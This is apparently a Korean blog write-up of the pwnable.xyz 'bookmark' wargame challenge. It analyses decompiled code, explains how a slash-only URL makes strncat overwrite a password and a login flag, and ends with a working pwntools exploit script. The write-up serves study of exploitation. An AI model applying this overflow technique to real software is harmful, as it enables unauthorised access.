블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] bookmark
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] bookmark

728x90

 

1. 문제


1) mitigation 확인 

초록색이다. 와우 다걸려있군 

 

 

2) 문제 확인 

뭐 이렇다. 로그인, url 생성 및 확인, 그리고 저장을 할수 있는 메뉴가 있다 

 

 

3) 코드 확인 

  • main()
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setup();
      init_login();
      puts("Web bookmarks.");
      while ( 1 )
      {
        print_menu();
        switch ( (unsigned __int64)(unsigned int)read_long() )
        {
          case 0uLL:
            return 0;
          case 1uLL:
            printf("Password: ", argv);
            if ( qword_202300 == (int)read_long() )
              dword_202308 = 1;
            break;
          case 2uLL:
            create_url();
            break;
          case 3uLL:
            argv = (const char **)bm;
            printf("url: %s\n", bm);
            break;
          case 4uLL:
            if ( dword_202308 )
            {
              puts("Not Implemented.");
              puts("But here is a reward.");
              win("But here is a reward.", argv);
            }
            break;
          default:
            puts("Invalid");
            break;
        }
      }
    }

    메인 함수에서 중요하게 볼 부분은 오렌지색이다. 초기에 init_login() 함수로 bss 영역 0x202300에다가 랜덤값 8바이트를 집어 넣는다. 1번 메뉴를 선택하면 해당 0x202300과 입력한 값이 일치한지 확인을 하고, 동일하면, 0x202308 에다가 1을 넣는다 

    4번 메뉴를 선택하면, 0x202308 위치에 값이 들어있으면 win 함수가 실행된다. 여기가 중요한 듯 싶다. 마지막으로 2번을 선택하면 create_url() 함수가 호출된다. 이걸 살펴보자 

 

 

  • create_url() 함수
    int create_url()
    {
      int v1; // [rsp+Ch] [rbp-14h]
      char *v2; // [rsp+10h] [rbp-10h]
      void *buf; // [rsp+18h] [rbp-8h]
    
      printf("Secure or insecure: ");
      read(0, bm, 9uLL);
      if ( strncmp(bm, "http", 4uLL) )
        return puts("Not a valid URL.");
      if ( byte_202204 == 0x73 )
        v2 = (char *)&unk_202205;
      else
        v2 = &byte_202204;
      while ( *v2 == ':' || *v2 == '/' )
        ++v2;
      *v2 = 0;
      printf("Size of url: ");
      v1 = read_long();
      if ( v1 < 0 || v1 > 0x7F )
        return puts("Too large.");
      buf = malloc(v1);
      read(0, buf, v1);
      return (unsigned __int64)strncat(bm, (const char *)buf, 0x100uLL);
    }

    처음에 read함수로 9바이트 만큼 입력을 받는다. 그중 4바이트를 비교하여 'http' 문자열이 아니면 종료를 시킨다. 그다음 0x202204 값이 0x73인지 비교를 하고 맞으면, 0x202205, 아니면 0x202204 주소에 있는 값을 v2에 저장한다. 

     

    그다음 반복문을 돌면서 v2값이 ' : ' or ' / ' 인지를 확인하고 맞으면 v2를 1 증가시키고 계속 돈다. v2값이 저 두개의 문자가 아닐때까지 돌고, 아닐때 탈출하면서 v2에 0을 넣는다. 이 로직은 아마 url 앞부분에 http:// 요론 표시를 체크하고, 저기까지를 bm 영역으로 두기 위해 검사하는 로직인 것같다. 

     

    왜냐하면 뒤에 strncat으로 도메인 부분을 합치기 때문이다. 쨋든 입력할 url 사이즈를 검사하고, 특정 범위 안에 만족하면 malloc으로 buf를 할당받아, 그곳에 입력을 하고, 입력한 데이터를 strncat으로 0x100 만큼 이어붙인다. 

     

     

     

2. 접근방법


우선 수상하게 볼 부분은 strncat이다. 현 상황을 정리해보자 

  • bm 주소 : 0x202200
  • 랜덤값이 들어가있는 주소 : 0x202300
  • win 함수가 실행될 조건 : 0x202308에 값이 들어가 있어야함

 

strncat으로 0x100바이트 만큼 문자열을 이어붙일수 있지만, buf에 입력가능한 최대 사이즈는 0x7f로 제한이 되어있다. 저 제한된 사이즈를 우회하는것이 관건이다. 천천히 분석해본 결과  

 

 while ( *v2 == ':' || *v2 == '/' )
    ++v2;
  *v2 = 0;

요 부분에서 해답을 찾았다. 보통 strncat은 목적지 문자열에서 맨 뒤에 널바이트를 제거하고 거기에 문자열을 이어붙인다. 위 로직은 일반적 url에서 http:// 이렇게 시작하기 때문에 ' : ' 혹은 ' / ' 문자가 안나올때까지 검사하고, 안나오는 위치에 0을 박는 로직이다. 

 

만약 우리가 url을 전부다 http://///////////// 요런식으로 박으면 우리가 최대 입력가능한 0x7f사이즈만큼 뒤지고 맨 뒤에 0을 박게 된다. 따라서 총 3번 create_url을 반복하여 0x202308 주소까지 문자를 채워주게 하면 된다. 

 

 

3. 풀이


첫번째 create_url 함수 호출 후 상황이다 

빨간 줄친 부분이 랜덤값이고 그 오른쪽(랜덤값 + 8 공간)을 채우는게 목표다 

 

두번째 create_url 함수 호출 후 상황을 보자 

아까 위에서 맨마지막 \x00 부분부터 strncat이 진행된것을 볼수 있다. 랜덤값 하위 6바이트를 덮었으며, 여기서 한번더 create_url을 호출하면 아예 랜덤값, 랜덤값+8 부분을 다덮을수 있다. 

 

마지막으로 한번더 호출해보자. 

아예 다 덮혔다. 이제 4번 메뉴를 호출만 하면 끝이다. 

 

 

최종 익스코드는 다음과 같다 

from pwn import *
context(log_level="DEBUG")
#p=remote("svc.pwnable.xyz",30021)
p=process("./challenge")
gdb.attach(p,'code\nb *0xd38+$code\n')


p.sendlineafter("> ","2")
p.sendafter("insecure: ","http:///")
p.sendlineafter("url: ","127")
p.send("/"*127)

p.sendlineafter("> ","3")

p.sendlineafter("> ","2")
p.sendafter("insecure: ","http:///")
p.sendlineafter("url: ","127")
p.send("/"*127)

p.sendlineafter("> ","2")
p.sendafter("insecure: ","http:///")
p.sendlineafter("url: ","127")
p.send("/"*127)

p.sendlineafter("> ","4")

p.interactive()

 

 

4. 몰랐던 개념


  • none
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] catalog  (0) 2020.05.10
[pwnable.xyz] PvP  (0) 2020.05.09
[pwnable.xyz] attack  (0) 2020.05.07
[pwnable.xyz] rwsr  (0) 2020.05.06
[pwnable.xyz] message  (0) 2020.05.05